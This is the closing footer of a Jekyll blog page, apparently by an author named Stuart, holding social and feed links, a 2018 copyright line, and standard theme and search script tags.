      <li><a href="https://twitter.com/magisterquis"><i class="fab fa-fw fa-twitter-square" aria-hidden="true"></i> Twitter</a></li>
    
    
    
      <li><a href="https://github.com/magisterquis"><i class="fab fa-fw fa-github" aria-hidden="true"></i> GitHub</a></li>
    
    
    
    <li><a href="/feed.xml"><i class="fas fa-fw fa-rss-square" aria-hidden="true"></i> Feed</a></li>
  </ul>
</div>

<div class="page__footer-copyright">&copy; 2018 Stuart. Powered by <a href="https://jekyllrb.com" rel="nofollow">Jekyll</a> &amp; <a href="https://mademistakes.com/work/minimal-mistakes-jekyll-theme/" rel="nofollow">Minimal Mistakes</a>.</div>

      </footer>
    </div>

    
  <script src="/assets/js/main.min.js"></script>
  <script src="https://use.fontawesome.com/releases/v5.0.9/js/all.js"></script>




<script src="/assets/js/lunr/lunr.min.js"></script>
<script src="/assets/js/lunr/lunr-store.js"></script>
<script src="/assets/js/lunr/lunr-en.js"></script>





  </body>
</html>